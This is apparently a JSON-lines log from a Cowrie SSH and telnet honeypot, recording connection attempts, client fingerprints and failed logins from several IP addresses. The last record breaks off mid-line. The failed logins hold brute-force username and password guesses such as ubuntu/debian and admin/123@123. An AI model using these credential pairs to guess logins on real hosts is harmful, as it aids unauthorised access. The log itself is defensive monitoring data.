{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":48416,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c6159d36eb","protocol":"ssh","message":"New connection: 58.69.56.44:48416 (159.203.135.109:22) [session: 67c6159d36eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:11.318614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:11.323086Z","src_ip":"58.69.56.44","session":"67c6159d36eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:11.557018Z","src_ip":"58.69.56.44","session":"67c6159d36eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@123","message":"login attempt [admin/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:12.513350Z","src_ip":"58.69.56.44","session":"67c6159d36eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:13.753888Z","src_ip":"58.69.56.44","session":"67c6159d36eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":42238,"dst_ip":"159.203.135.109","dst_port":22,"session":"6faafa708d48","protocol":"ssh","message":"New connection: 40.81.244.142:42238 (159.203.135.109:22) [session: 6faafa708d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:18.213646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:18.217868Z","src_ip":"40.81.244.142","session":"6faafa708d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:18.399865Z","src_ip":"40.81.244.142","session":"6faafa708d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx!@#","message":"login attempt [ubuntu/qazwsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:19.184357Z","src_ip":"40.81.244.142","session":"6faafa708d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":34286,"dst_ip":"159.203.135.109","dst_port":22,"session":"30f3679bbc6e","protocol":"ssh","message":"New connection: 222.167.161.198:34286 (159.203.135.109:22) [session: 30f3679bbc6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:19.385732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:19.390710Z","src_ip":"222.167.161.198","session":"30f3679bbc6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:19.664893Z","src_ip":"222.167.161.198","session":"30f3679bbc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:20.382904Z","src_ip":"40.81.244.142","session":"6faafa708d48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"A123456","message":"login attempt [ubuntu/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:20.790155Z","src_ip":"222.167.161.198","session":"30f3679bbc6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:22.068629Z","src_ip":"222.167.161.198","session":"30f3679bbc6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":38076,"dst_ip":"159.203.135.109","dst_port":22,"session":"001d07146e70","protocol":"ssh","message":"New connection: 96.70.252.227:38076 (159.203.135.109:22) [session: 001d07146e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:44.224481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:44.231314Z","src_ip":"96.70.252.227","session":"001d07146e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:44.268363Z","src_ip":"96.70.252.227","session":"001d07146e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"qwe","message":"login attempt [minecraft/qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:44.449722Z","src_ip":"96.70.252.227","session":"001d07146e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:45.487994Z","src_ip":"96.70.252.227","session":"001d07146e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00275540351868,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:15:46.863321Z","src_ip":"87.90.84.206","session":"9db285feb9d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29674,"dst_ip":"159.203.135.109","dst_port":23,"session":"90fce0409daa","protocol":"telnet","message":"New connection: 87.90.84.206:29674 (159.203.135.109:23) [session: 90fce0409daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:00.961466Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":29532,"dst_ip":"159.203.135.109","dst_port":23,"session":"2397b71c61c0","protocol":"telnet","message":"New connection: 87.90.84.206:29532 (159.203.135.109:23) [session: 2397b71c61c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:01.470022Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb1130755e64","protocol":"ssh","message":"New connection: 58.69.56.44:37368 (159.203.135.109:22) [session: eb1130755e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:09.221988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:09.226785Z","src_ip":"58.69.56.44","session":"eb1130755e64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:09.466784Z","src_ip":"58.69.56.44","session":"eb1130755e64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver1","message":"login attempt [csgoserver/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:10.469890Z","src_ip":"58.69.56.44","session":"eb1130755e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:11.706502Z","src_ip":"58.69.56.44","session":"eb1130755e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":51138,"dst_ip":"159.203.135.109","dst_port":22,"session":"884f426efda5","protocol":"ssh","message":"New connection: 40.81.244.142:51138 (159.203.135.109:22) [session: 884f426efda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:17.093753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:17.099044Z","src_ip":"40.81.244.142","session":"884f426efda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:17.288581Z","src_ip":"40.81.244.142","session":"884f426efda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"debian","message":"login attempt [ubuntu/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:18.072342Z","src_ip":"40.81.244.142","session":"884f426efda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:19.263541Z","src_ip":"40.81.244.142","session":"884f426efda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":21720,"dst_ip":"159.203.135.109","dst_port":22,"session":"8986a59d56d5","protocol":"ssh","message":"New connection: 222.167.161.198:21720 (159.203.135.109:22) [session: 8986a59d56d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:22.386441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:22.391241Z","src_ip":"222.167.161.198","session":"8986a59d56d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:22.661123Z","src_ip":"222.167.161.198","session":"8986a59d56d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"12345","message":"login attempt [user2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:23.771157Z","src_ip":"222.167.161.198","session":"8986a59d56d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:25.045377Z","src_ip":"222.167.161.198","session":"8986a59d56d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.11.44.181","src_port":35468,"dst_ip":"10.17.0.5","dst_port":23,"session":"666a4565770d","protocol":"telnet","message":"New connection: 47.11.44.181:35468 (10.17.0.5:23) [session: 666a4565770d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:16:48.480267Z"}
{"eventid":"cowrie.session.closed","duration":13.256847143173218,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:01.736968Z","src_ip":"47.11.44.181","session":"666a4565770d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"211.97.63.49","src_port":52783,"dst_ip":"159.203.135.109","dst_port":23,"session":"558bfb87cc60","protocol":"telnet","message":"New connection: 211.97.63.49:52783 (159.203.135.109:23) [session: 558bfb87cc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:04.524807Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":54552,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c69a2ccb96","protocol":"ssh","message":"New connection: 58.69.56.44:54552 (159.203.135.109:22) [session: a1c69a2ccb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:08.121971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:17:08.127022Z","src_ip":"58.69.56.44","session":"a1c69a2ccb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 